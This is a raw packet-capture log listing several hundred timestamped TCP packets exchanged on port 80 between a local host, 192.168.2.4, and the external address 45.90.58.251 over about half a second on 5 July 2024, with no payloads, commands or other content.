Jul 5, 2024 07:48:41.626876116 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.626941919 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.626951933 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.627038002 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.627038956 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.641524076 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.641573906 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.641582966 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.641624928 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.641639948 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.641683102 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.663233042 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.663271904 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.663280964 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.663316965 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.663364887 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.663377047 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.663511038 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.663511038 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.663522959 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.663533926 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.663544893 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.663554907 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.663558960 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.663578987 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.663594961 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.663754940 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.663774014 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.663813114 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.663849115 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.663860083 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.663870096 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.663897038 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.666538954 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.666587114 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.666590929 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.666599989 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.666634083 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.666672945 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.666693926 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.666734934 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.666786909 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.666804075 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.666841984 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.666874886 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.666884899 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.666893005 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.666950941 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.667026043 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.667037964 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.667068005 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.690326929 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.690388918 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.690397024 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.690408945 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.690448046 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.690454960 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.690485001 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.690494061 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.690535069 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.691245079 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.691266060 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.691276073 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.691293001 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.691320896 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.733112097 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.733127117 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.733139038 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.733170986 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.733222008 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.733233929 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.733243942 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.733261108 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.733287096 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.747626066 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.747637987 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.747648001 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.747677088 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.747792959 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.747802973 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.747812986 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.747833967 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.747852087 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.770586014 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.770600080 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.770654917 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.770716906 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.770900965 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.770911932 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.770921946 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.770931959 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.770955086 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.770967007 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.771058083 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.771069050 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.771105051 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.771243095 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.771254063 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.771264076 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.771274090 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.771290064 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.771291971 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.771302938 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.771310091 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.771313906 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.771326065 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.771351099 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.771395922 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.771780014 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.771790981 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.771800995 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.771811962 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.771833897 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.771864891 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.771866083 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.771874905 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.771913052 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.771922112 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.771960020 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.771998882 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.772007942 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.772018909 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.772042036 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.772470951 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.772509098 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.772521019 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.772521973 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.772573948 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.772587061 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.798959970 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.799104929 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.799115896 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.799161911 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.799180031 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.799273968 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.799285889 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.799324036 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.799837112 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.800045013 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.800055981 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.800086975 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.845063925 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.845191956 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.845202923 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.845213890 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.845225096 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.845263004 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.845319033 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.856658936 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.856669903 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.856678963 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.856688976 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.856698990 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.856710911 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.856719017 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.856741905 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.856765985 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.879401922 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.879522085 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.879587889 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.879683018 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.879694939 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.879708052 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.879719019 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.879741907 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.879755974 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.879852057 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.879863977 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.879872084 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.879888058 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.879900932 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.879928112 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.880012989 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.880024910 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.880034924 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.880058050 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.880147934 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.880157948 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.880188942 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.880300999 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.880311966 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.880321980 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.880343914 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.880374908 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.880446911 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.880599022 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.880609035 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.880645990 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.882494926 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.882507086 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.882517099 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.882529974 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.882544041 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.882570028 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.884373903 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.884385109 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.884394884 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.884419918 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.884439945 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.884535074 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.884546041 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.884556055 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.884579897 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.903481960 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.903498888 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.903508902 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.903528929 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.903542995 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.903553009 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.903554916 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.903565884 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.903577089 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.903590918 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.903614998 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.945256948 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.945308924 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.945319891 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.945383072 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.945455074 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.945466995 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.945477962 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.945502996 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.959824085 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.959845066 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.959855080 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.959913969 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.959965944 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.959975004 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.959984064 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.960009098 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.960021019 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.961445093 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.981828928 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.981842995 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.981899977 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.981952906 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.981966019 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.981978893 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.982017040 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.982105970 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.982117891 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.982161045 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.982399940 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.982419014 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.982431889 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.982465982 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.982547045 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.982558966 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.982569933 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.982615948 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.982702971 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.982713938 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.982724905 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.982738972 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.982748985 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.982749939 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.982762098 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.982772112 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.982800961 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.984394073 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.984405041 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.984415054 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.984453917 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.984478951 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.984549999 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.984568119 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.984580040 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.984611988 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.984841108 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.984852076 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.984862089 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.984886885 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.984915018 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:41.985928059 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.985939026 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.985949039 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:41.985982895 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.009290934 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.009332895 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.009340048 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.009351015 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.009387970 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.009422064 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.009433031 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.009443998 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.009469986 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.009531021 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.009569883 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.009601116 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.009614944 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.009654045 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.052505016 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.052526951 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.052555084 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.052601099 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.052606106 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.052613020 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.052618980 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.052654982 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.065972090 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.066049099 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.066060066 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.066095114 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.066135883 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.066145897 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.066173077 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.087492943 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.087531090 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.087532043 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.087546110 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.087589979 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.087795019 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.087852001 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.087862968 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.087897062 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.087949038 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.087960005 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.087996006 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.088030100 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.088067055 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.088094950 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.088107109 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.088140965 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.088243008 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.088254929 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.088293076 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.088315964 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.088325024 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.088366032 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.088370085 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.088375092 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.088402987 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.088458061 CEST	80	63880	45.90.58.251	192.168.2.4
